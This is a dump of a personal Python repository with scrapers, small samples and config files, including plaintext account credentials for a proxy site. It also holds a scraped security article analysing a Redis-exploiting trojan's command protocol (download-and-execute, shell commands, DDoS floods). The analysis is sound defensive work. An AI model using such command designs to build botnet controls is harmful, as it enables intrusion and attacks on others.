├── .idea ├── .name ├── dictionaries │ └── zhangjian5.xml ├── vcs.xml ├── encodings.xml ├── modules.xml ├── PyCharmWorkSpace.iml └── misc.xml ├── dmozDemo ├── dmozDemo │ ├── __init__.py │ ├── spiders │ │ ├── __init__.py │ │ └── dmozSpider.py │ ├── pipelines.py │ ├── items.py │ └── settings.py └── scrapy.cfg ├── dropsWooyun2 ├── markdownFile │ ├── “会说话的键盘” │ ├── Bashlite恶意软件阴魂未散 │ ├── Redis漏洞攻击植入木马逆向分析.md │ ├── 敲竹杠家族又出新玩法 - 随机化密码、邮件取信.md │ ├── WormHole分析第二弹.md │ ├── 双11购物节火热，谨防木马乘机而入.md │ ├── 从一个锁主页木马里挖出的惊天“暗杀黑名单”.md │ ├── 拆分密码.md │ ├── Linux系统下的HDD Rootkit分析 .md │ ├── 智能设备Wi-Fi快速配置类协议安全.md │ ├── 从异常挖掘到CC攻击地下黑客团伙.md │ ├── 一个PC上的“WormHole”漏洞.md │ ├── Android平台下二维码漏洞攻击杂谈.md │ ├── 那些年做过的ctf之加密篇.md │ ├── Joomla 对象注入漏洞分析报告.md │ ├── 色情病毒魅影杀手的恶意行为及黑产利益链分析.md │ ├── 浏览器fuzz框架介绍.md │ ├── 1450356724.78.md │ ├── iBackDoor(爱后门)和DroidBackDoor(安后门)：同时影响iOS和Android的”后门”SDK？.md │ ├── 服务端模板注入攻击 (SSTI) 之浅析.md │ ├── “大灰狼”远控木马分析及幕后真凶调查.md │ ├── 狗汪汪玩转无线电 -- GPS Hacking (上）.md │ ├── iOS环境下的中间人攻击风险浅析.md │ ├── 利用基于 NTP 的 TOTP 算法缺陷绕过 WordPress 登陆验证.md │ ├── 給初學者的DLL Side Loading的UAC繞過.md │ ├── Windows 名称解析机制探究及缺陷利用.md │ ├── vvv病毒真相.md │ ├── 1450356702.16.md │ ├── 逆向被虚拟机所保护的二进制文件.md │ ├── 变种XSS：持久控制.md │ ├── Redis后门植入分析报告.md │ ├── 广告联盟变身挂马联盟 HackingTeam漏洞武器袭击百万网民.md │ ├── IE安全系列之——IE中的ActiveX（II）.md │ ├── SQLMAP的前世今生Part2 数据库指纹识别.md │ ├── 利用Powershell快速导出域控所有用户Hash.md │ └── common-collections中Java反序列化漏洞导致的RCE原理分析.md ├── README.md ├── config.ini ├── 1450356634.22 ├── helixUtils.py └── index.py ├── AutoGetSS ├── captcha │ ├── result.txt │ ├── result2.txt │ ├── 1449625916874.png │ ├── 1449626109130.png │ ├── 1449626150602.png │ ├── 1449626183749.png │ ├── 1449626243651.png │ ├── 1449626504511.png │ ├── 1449626552685.png │ ├── 1449626638305.png │ ├── 1449626831297.png │ ├── 1449626899805.png │ ├── 1449627217672.png │ ├── 1449627502991.png │ ├── 1449627725573.png │ ├── 1449627750940.png │ ├── 1449640237306.png │ ├── 1449640271557.png │ ├── 1449640285839.png │ ├── 1449640545294.png │ ├── 1449640633587.png │ ├── 1449640794121.png │ ├── 1449640904592.png │ ├── 1449640927088.png │ ├── 1449640940895.png │ ├── 1449640958744.png │ └── 1449640979475.png ├── logger │ └── logger.txt ├── 1450959917.35 ├── README.md ├── config.ini ├── log.py ├── index.py └── reg.py ├── everything_sdk ├── Everything32.dll ├── Everything64.dll └── __init__.py ├── README.md └── nexus ├── __init__.py ├── nexus_sample.py ├── test_functools.py ├── test_exector.py ├── weibo_crawl.py └── sample_typing.py /.idea/.name: -------------------------------------------------------------------------------- 1 | PyCharmWorkSpace -------------------------------------------------------------------------------- /dmozDemo/dmozDemo/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/“会说话的键盘”: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /AutoGetSS/captcha/result.txt: -------------------------------------------------------------------------------- 1 | vKdm 2 | 3 | -------------------------------------------------------------------------------- /AutoGetSS/captcha/result2.txt: -------------------------------------------------------------------------------- 1 | ZBOL 2 | 3 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/Bashlite恶意软件阴魂未散: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /dropsWooyun2/README.md: -------------------------------------------------------------------------------- 1 | ##很可惜乌云现在已经被和谐，该模块几乎废弃，仅留下部分抓取数据 2 | -------------------------------------------------------------------------------- /AutoGetSS/logger/logger.txt: -------------------------------------------------------------------------------- 1 | [+]targetUrls is :http://user.jumpss.com/user/node_json.php?id=2 2 | -------------------------------------------------------------------------------- /everything_sdk/Everything32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/everything_sdk/Everything32.dll -------------------------------------------------------------------------------- /everything_sdk/Everything64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/everything_sdk/Everything64.dll -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449625916874.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449625916874.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449626109130.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449626109130.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449626150602.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449626150602.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449626183749.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449626183749.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449626243651.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449626243651.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449626504511.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449626504511.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449626552685.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449626552685.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449626638305.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449626638305.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449626831297.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449626831297.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449626899805.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449626899805.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449627217672.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449627217672.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449627502991.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449627502991.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449627725573.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449627725573.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449627750940.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449627750940.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640237306.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640237306.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640271557.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640271557.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640285839.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640285839.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640545294.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640545294.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640633587.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640633587.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640794121.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640794121.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640904592.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640904592.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640927088.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640927088.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640940895.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640940895.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640958744.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640958744.png -------------------------------------------------------------------------------- /AutoGetSS/captcha/1449640979475.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xarrow/PyCharmWorkSpace/HEAD/AutoGetSS/captcha/1449640979475.png -------------------------------------------------------------------------------- /dropsWooyun2/config.ini: -------------------------------------------------------------------------------- 1 | [configure] 2 | mainurl = http://drops.wooyun.org/ 3 | firsttag = http://drops.wooyun.org/papers/11448 4 | 5 | -------------------------------------------------------------------------------- /.idea/dictionaries/zhangjian5.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | userlists 5 | 6 | 7 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /dmozDemo/dmozDemo/spiders/__init__.py: -------------------------------------------------------------------------------- 1 | # This package will contain the spiders of your Scrapy project 2 | # 3 | # Please refer to the documentation for information on how to create and manage 4 | # your spiders. 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## PyCharmWorkSpace 2 | > 此repo为自己投食。 3 | 4 | * Add AutoGetSS 自动获取SS配置文件（原网站已经挂了，不再维护） 5 | * dropsWooyun 爬取乌云知识库（原网站已经挂了，不再维护） 6 | * nexus 新知识sample2 7 | 8 | [sample_typing.py](nexus/sample_typing.py): Python3.6.4 中typing模块示例 -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /AutoGetSS/1450959917.35: -------------------------------------------------------------------------------- 1 | 15y-12-24 20:25 - requests.packages.urllib3.connectionpool - INFO - Starting new HTTP connection (1): user.jumpss.com 2 | 15y-12-24 20:25 - requests.packages.urllib3.connectionpool - DEBUG - "POST /user//_login.php HTTP/1.1" 200 54 3 | 15y-12-24 20:25 - root - INFO - http://user.jumpss.com/user//_login.php 4 | -------------------------------------------------------------------------------- /dmozDemo/scrapy.cfg: -------------------------------------------------------------------------------- 1 | # Automatically created by: scrapy startproject 2 | # 3 | # For more information about the [deploy] section see: 4 | # https://scrapyd.readthedocs.org/en/latest/deploy.html 5 | 6 | [settings] 7 | default = dmozDemo.settings 8 | 9 | [deploy] 10 | #url = http://localhost:6800/ 11 | project = dmozDemo 12 | -------------------------------------------------------------------------------- /dmozDemo/dmozDemo/pipelines.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Define your item pipelines here 4 | # 5 | # Don't forget to add your pipeline to the ITEM_PIPELINES setting 6 | # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html 7 | 8 | 9 | class DmozdemoPipeline(object): 10 | def process_item(self, item, spider): 11 | return item 12 | -------------------------------------------------------------------------------- /AutoGetSS/README.md: -------------------------------------------------------------------------------- 1 | 2 | (2015-12-9) 3 | * beta1.1 4 | * 完善模拟注册功能，自动添加至配置文件 5 | * 增加日志注解 6 | 7 | (2015-12-7) 8 | * 新版本只用用于测试 9 | * beta1.0 10 | * 提供两个帐号 11 | * 自动获取并配置SS帐号 12 | * 注册功能还在开发中 13 | 14 | ##使用方法 15 | * 在config.ini中修改shadowscoksPath（请备份原有的配置文件） 16 | 17 | 18 | PS:因为http://user.jumpss.com/user/ 这个网站的免费的SS帐号总是变更， 19 | 经常登录替换很烦 20 | 此工具提供两个帐号自动获取并填入SS配置，无需多余操作 21 | -------------------------------------------------------------------------------- /dmozDemo/dmozDemo/items.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Define here the models for your scraped items 4 | # 5 | # See documentation in: 6 | # http://doc.scrapy.org/en/latest/topics/items.html 7 | 8 | import scrapy 9 | 10 | 11 | class DmozdemoItem(scrapy.Item): 12 | # define the fields for your item here like: 13 | # name = scrapy.Field() 14 | pass 15 | -------------------------------------------------------------------------------- /.idea/PyCharmWorkSpace.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /everything_sdk/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | """ 4 | Verion: 1.0 5 | Author: zhangjian 6 | Site: http://iliangqunru.com 7 | File: 8 | Time: 2018/3/9 9 | """ 10 | import logging 11 | 12 | level = logging.DEBUG 13 | format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 14 | datefmt = '%Y-%m-%d %H:%M' 15 | logging.basicConfig(level=level, format=format, datefmt=datefmt) 16 | logger = logging.getLogger(__name__) 17 | PY3 = False 18 | 19 | if sys.version > '3': 20 | PY3 = True -------------------------------------------------------------------------------- /nexus/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | """ 4 | Verion: 1.0 5 | Author: helix 6 | Site: https://iliangqunru.bitcron.com/ 7 | File: __init__.py.py 8 | Time: 3/7/18 9 | """ 10 | import logging 11 | import sys 12 | import os 13 | import requests 14 | 15 | level = logging.DEBUG 16 | format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 17 | datefmt = '%Y-%m-%d %H:%M' 18 | logging.basicConfig(level=level, format=format, datefmt=datefmt) 19 | logger = logging.getLogger(__name__) 20 | 21 | -------------------------------------------------------------------------------- /AutoGetSS/config.ini: -------------------------------------------------------------------------------- 1 | [registerInfo] 2 | mainurl = http://user.jumpss.com/user/ 3 | nick = 张三大njasddja 4 | passwd = 1234567 5 | email = 12345dsaaankjdvasdsas7@gmail.com 6 | 7 | [loginGeneralSS] 8 | mainurl = http://user.jumpss.com/user/ 9 | userlists = dnsakj@gmail.com&Heious123|skious@gmail.com&skious123|12345dsaaankjdvasdsas7@gmail.com&1234567 10 | userlists2 = dnsakj@gmail.com&Heious123|skious@gmail.com&skious123 11 | 12 | [local] 13 | shadowscokspath = D:/software/shadowsocks/gui-config.json 14 | 15 | [TestConfigParser] -------------------------------------------------------------------------------- /dropsWooyun2/1450356634.22: -------------------------------------------------------------------------------- 1 | 15y-12-17 20:50 - root - INFO - starting getTargetUrlsFromWebPages. 2 | 15y-12-17 20:50 - requests.packages.urllib3.connectionpool - INFO - Starting new HTTP connection (1): drops.wooyun.org 3 | 15y-12-17 20:50 - requests.packages.urllib3.connectionpool - DEBUG - "GET / HTTP/1.1" 200 None 4 | 15y-12-17 20:50 - requests.packages.urllib3.connectionpool - DEBUG - "GET /page/1 HTTP/1.1" 200 None 5 | 15y-12-17 20:50 - root - INFO - 链接已经存在. 6 | 15y-12-17 20:50 - root - INFO - 正在抓取文章喵.............. 7 | 15y-12-17 20:50 - root - INFO - 一共抓取 1 篇文章,错误 1 ,错误率100.00%% 8 | 15y-12-17 20:50 - root - INFO - finish getArticles. 9 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /nexus/nexus_sample.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | """ 4 | Verion: 1.0 5 | Author: helix 6 | Site: https://iliangqunru.bitcron.com/ 7 | File: nexus_sample.py 8 | Time: 3/7/18 9 | """ 10 | import logging 11 | import sys 12 | import os 13 | import requests 14 | 15 | level = logging.DEBUG 16 | format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 17 | datefmt = '%Y-%m-%d %H:%M' 18 | logging.basicConfig(level=level, format=format, datefmt=datefmt) 19 | logger = logging.getLogger(__name__) 20 | import contextlib2 21 | 22 | @contextlib2.contextmanager 23 | def file_save(file_name:str)->None: 24 | f = open(file_name,'w') 25 | yield f 26 | f.close() 27 | 28 | with file_save('test_file') as f: 29 | f.write('test_data') 30 | -------------------------------------------------------------------------------- /dmozDemo/dmozDemo/spiders/dmozSpider.py: -------------------------------------------------------------------------------- 1 | __author__ = 'zhangjian5' 2 | import scrapy 3 | import logging 4 | 5 | logging.basicConfig(filename="log.md",format="%(asctime)s - %(levelname)s - %(message)s",level=logging.INFO) 6 | 7 | class DmozSpider(scrapy.spiders.Spider): 8 | name = 'run' 9 | allowed_domains = ["dmoz.org"] 10 | start_urls = [ 11 | "http://www.dmoz.org/Computers/Programming/Languages/Python/Books/", 12 | "http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/" 13 | ] 14 | 15 | def parse(self, response): 16 | for sel in response.xpath('//ul/li'): 17 | title = sel.xpath('a/text()').extract() 18 | link = sel.xpath('a/@href').extract() 19 | desc = sel.xpath('text()').extract() 20 | logging.info(title) 21 | logging.info(link) 22 | logging.info(desc) 23 | -------------------------------------------------------------------------------- /nexus/test_functools.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | """ 4 | Verion: 1.0 5 | Author: helix 6 | Site: https://iliangqunru.bitcron.com/ 7 | File: test_functools.py 8 | Time: 3/13/18 9 | """ 10 | import logging 11 | import sys 12 | import os 13 | import requests 14 | 15 | level = logging.DEBUG 16 | format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 17 | datefmt = '%Y-%m-%d %H:%M' 18 | logging.basicConfig(level=level, format=format, datefmt=datefmt) 19 | logger = logging.getLogger(__name__) 20 | 21 | from functools import cmp_to_key 22 | 23 | a = sorted([1,465,77,9,0,345,78],key=cmp_to_key(lambda x,y:x-y)) 24 | print(a) 25 | 26 | from functools import lru_cache 27 | 28 | # key function 29 | 30 | student_tuple_list = [ 31 | ('zhang','A',10), 32 | ('liang','H',10), 33 | ('chang','A',12) 34 | ] 35 | 36 | s_sort = sorted(student_tuple_list,key=lambda student:student[1],reverse=True) 37 | print(s_sort) 38 | 39 | -------------------------------------------------------------------------------- /AutoGetSS/log.py: -------------------------------------------------------------------------------- 1 | 2 | __author__ = 'zhangjian5' 3 | import time 4 | import logging 5 | 6 | level = logging.DEBUG 7 | format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 8 | datefmt = '%yy-%m-%d %H:%M' 9 | """ 10 | Does Python's time.time() return the local or UTC timestamp? 11 | http://stackoverflow.com/questions/13890935/does-pythons-time-time-return-the-local-or-utc-timestamp 12 | """ 13 | filename = str(time.time()) 14 | filemode = 'w' 15 | logging.basicConfig(level=level, format=format, datefmt=datefmt, filename=filename, filemode=filemode) 16 | 17 | # define a Handler which writes INFO messages or higher to the sys.stderr 18 | console = logging.StreamHandler() 19 | console.setLevel(logging.INFO) 20 | # set a format which is simpler for console use 21 | formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') 22 | # tell the handler to use this format 23 | console.setFormatter(formatter) 24 | # add the handler to the root logger 25 | logging.getLogger('').addHandler(console) 26 | logger = logging.getLogger(__name__) -------------------------------------------------------------------------------- /nexus/test_exector.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | """ 4 | Verion: 1.0 5 | Author: helix 6 | Site: https://iliangqunru.bitcron.com/ 7 | File: test_exector.py 8 | Time: 3/17/18 9 | """ 10 | import logging 11 | import requests 12 | 13 | level = logging.DEBUG 14 | format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 15 | datefmt = '%Y-%m-%d %H:%M' 16 | logging.basicConfig(level=level, format=format, datefmt=datefmt) 17 | logger = logging.getLogger(__name__) 18 | 19 | import concurrent.futures 20 | 21 | url_list = [ 22 | "https://www.baidu.com", 23 | "https://www.sina.com", 24 | "https://www.taobao.com", 25 | "https://tmall.com" 26 | ] 27 | 28 | 29 | def requests_url(url: str) -> str: 30 | """请求""" 31 | resp = requests.get(url=url) 32 | if resp.status_code == 200: 33 | return resp.text 34 | return "" 35 | 36 | #submit 37 | with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: 38 | for url in url_list: 39 | future = executor.submit(requests_url,url) 40 | print("--> %s " % future.result()) 41 | executor.shutdown(wait=True) 42 | print("") 43 | 44 | 45 | # Executor.map 46 | # with concurrent.futures.ThreadPoolExecutor(max_workers=10) as exector: 47 | # for url, res in (exector.map(requests_url, url_list)): 48 | # print("%s <---> %s" % (url, res)) 49 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/Redis漏洞攻击植入木马逆向分析.md: -------------------------------------------------------------------------------- 1 | # Redis漏洞攻击植入木马逆向分析 2 | 3 | [ 阿里云安全](/author/阿里云安全) · 2015/11/17 14:24 4 | 5 | 作者：梦特（阿里云云盾安全攻防对抗团队） 6 | 7 | # 0x00 背景 8 | 9 | * * * 10 | 11 | 2015年11月10日，阿里云安全团队捕获到黑客大规模利用Redis漏洞的行为，获取机器root权限，并植入木马进行控制，异地登录来自IP：104.219.xxx.xxx（异地登录会有报警）。由于该漏洞危害严重，因此阿里云安全团队在2015年11月11日，短信电话联系用户修复Redis高危漏洞，2015年11月14日，云盾系统检测到部分受该漏洞影响沦为肉鸡的机器进行DDOS攻击，发现后云盾系统已自动通知用户。 12 | 13 | # 0x01 木马控制协议逆向分析 14 | 15 | * * * 16 | 17 | 分析发现木马作者，有2个控制协议未完成。 18 | 19 | * Connect协议有处理函数，但没有功能，函数地址为0x8048545。 20 | 21 | ![](http://static.wooyun.org//drops/20151117/2015111705143193322127.png) 22 | 23 | * sniffsniff协议没有对应的处理函数，作者未实现该功能。 24 | 25 | 完全逆向分析后得到控制协议如下表： 26 | 27 | 协议 28 | 29 | 协议格式 30 | 31 | 分析描述 32 | 33 | kill 34 | 35 | kill 36 | 37 | 结束自身进程 38 | 39 | dlexec 40 | 41 | dlexec IP filepath port 42 | 43 | 在指定IP下载文件并执行 44 | 45 | qweebotkiller 46 | 47 | qweebotkiller 48 | 49 | 遍历进程PID为0到65535，查找对应文件，若匹配特征EXPORT %s:%s:%s，则删除文件 50 | 51 | system 52 | 53 | system cmdline 54 | 55 | 调用系统的/bin/sh执行shell脚本 56 | 57 | connect 58 | 59 | connect ips arg2 arg3 arg4 60 | 61 | 有处理函数，但作者把connect的功能给阉割了，并没有去实现connect协议的功能，因此我们只分析出协议1个参数的意议，另外3个参数不知道意义。 62 | 63 | icmp 64 | 65 | icmp IPs attacktime PacketLen 66 | 67 | 发动icmp协议攻击 68 | 69 | tcp 70 | 71 | tcp ips port attacktime flags packetlen 72 | 73 | 发动TCP的(fin,syn,rst,psh,ack,urg)DDOS攻击，攻击时间为秒。 74 | 75 | udp 76 | 77 | udp ips port attacktime packetlen 78 | 79 | 发动UDP攻击。 80 | 81 | sniffsniff 82 | 83 | sniffsniff 84 | 85 | 这个协议木马并没有实现功能。 86 | 87 | * 协议完成逆向后，我们用Python写了一个控制端，并实现全部协议控制木马，如下图： 88 | 89 | ![](http://static.wooyun.org//drops/20151117/2015111705143496654223.png) 90 | 91 | # 0x02 木马概述 92 | 93 | * * * 94 | 95 | 从逆向得到的协议分析可以发现，该木马的功能主要包括： 96 | 97 | * 发动DDoS攻击（ICMP、UDP、TCP） 98 | * 远程执行命令 99 | * 远程下载文件执行 100 | * 清除其他后门文件 101 | 102 | 文件MD5：9101E2250ACFA8A53066C5FCB06F9848 103 | 104 | ## 进程操作 105 | 106 | * 木马启动，木马接受1个参数，参数为要kill的进程PID。函数地址为0x8049C77. 107 | 108 | ![](http://static.wooyun.org//drops/20151117/2015111705143547127319.png) 109 | 110 | * 木马会启动一个孙子进程执行木马功能，然后当前进程退出。 111 | 112 | ## 文件操作 113 | 114 | * 暴力关闭文件，关闭0到0xFFFF的文件，调用系统调用sys_close()，函数地址为0x8049C77。 115 | 116 | ![](http://static.wooyun.org//drops/20151117/2015111705143724045418.png) 117 | 118 | * 自我删除，调用系统调用`sys_readlink()`读取`/proc/self/exe`获取文件路径，`sys_unlink()`进行删除，处理函数地址为0x80494F3。 119 | 120 | ![](http://static.wooyun.org//drops/20151117/2015111705143994497512.png) 121 | 122 | ## 网络操作 123 | 124 | * 连接8.8.8.8的53端口，探测网络是否连接到Internet，处理函数地址为0x8049B90。 125 | 126 | ![](http://static.wooyun.org//drops/20151117/201511170514414532769.png) 127 | 128 | * 连接木马控制端37.xxx.xxx.x的53端口，处理函数地址为0x8049C77。 129 | 130 | ![](http://static.wooyun.org//drops/20151117/201511170514438152078.png) 131 | 132 | -------------------------------------------------------------------------------- /dropsWooyun2/helixUtils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __title__ = 'helixUtils' 3 | __author__ = 'zhangjian5' 4 | __version__ = 'beta1.0' 5 | 6 | import sys 7 | import time 8 | 9 | import ConfigParser 10 | 11 | reload(sys) 12 | sys.setdefaultencoding('utf-8') 13 | """ 14 | 完善日志记录 15 | 参考:https://docs.python.org/2/howto/logging-cookbook.html 16 | """ 17 | import logging 18 | 19 | level = logging.DEBUG 20 | format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 21 | datefmt = '%yy-%m-%d %H:%M' 22 | """ 23 | Does Python's time.time() return the local or UTC timestamp? 24 | http://stackoverflow.com/questions/13890935/does-pythons-time-time-return-the-local-or-utc-timestamp 25 | """ 26 | filename = str(time.time()) 27 | filemode = 'w' 28 | logging.basicConfig(level=level, format=format, datefmt=datefmt, filename=filename, filemode=filemode) 29 | 30 | # define a Handler which writes INFO messages or higher to the sys.stderr 31 | console = logging.StreamHandler() 32 | console.setLevel(logging.INFO) 33 | # set a format which is simpler for console use 34 | formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') 35 | # tell the handler to use this format 36 | console.setFormatter(formatter) 37 | # add the handler to the root logger 38 | logging.getLogger('').addHandler(console) 39 | logger = logging.getLogger(__name__) 40 | 41 | try: 42 | import requests 43 | except ImportError: 44 | logger.warn("Can not find requests module") 45 | pass 46 | 47 | # 读取配置文件 48 | cf = ConfigParser.ConfigParser() 49 | 50 | 51 | class Helix: 52 | def __init__(self): 53 | try: 54 | cf.read("config.ini") 55 | except: 56 | logger.warn("can not find config.ini") 57 | try: 58 | self.mainUrl = cf.get("configure", "mainUrl") # 主连接 59 | except: 60 | logger.warn("can not read mainUrl") 61 | try: 62 | self.firstTag = cf.get("configure", "firstTag") # 第一个条目 63 | except: 64 | logger.warn("can not read firstTag") 65 | 66 | self.session = requests.session() # 保持同一个session 67 | 68 | self.targetPool = [] # 目标链接池 69 | self.errorPool = [] # 错误链接池 70 | self.cookies = "" 71 | 72 | self.headers_pc = { 73 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36" 74 | } # pc端头信息 75 | self.headers_mo = { 76 | "Accept": "*/*", 77 | "User-Agent": "Mozilla/5.0 (Linux; Android 4.4.4; Nexus 5 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.114 Mobile Safari/537.36" 78 | 79 | } # 移动端头信息 80 | 81 | self.total_flag = 0 82 | self.error_flag = 0 83 | 84 | @staticmethod 85 | def setFirstTag(firstTag): 86 | cf.set("configure", "firstTag", firstTag) 87 | cf.write(open('config.ini', 'wb')) 88 | 89 | def helloworld(self): 90 | """do nothing""" 91 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/敲竹杠家族又出新玩法 - 随机化密码、邮件取信.md: -------------------------------------------------------------------------------- 1 | # 敲竹杠家族又出新玩法 - 随机化密码、邮件取信 2 | 3 | [ 360安全卫士](/author/360安全卫士) · 2015/10/23 15:28 4 | 5 | # 0x01 概况 6 | 7 | * * * 8 | 9 | 近期360QVM团队截获到了一批伪装成游戏外挂、QQ刷钻、游戏刷装备等类型的敲诈软件。一旦用户点击运行，用户计算机的管理员账号将被添加或更改密码，造成用户计算机无法进行任何操作。如果用户想要解锁手机只能联系恶意软件界面上留下的QQ号码并向其进行付费，从而达到勒索用户资金的目的。 10 | 11 | # 0x02 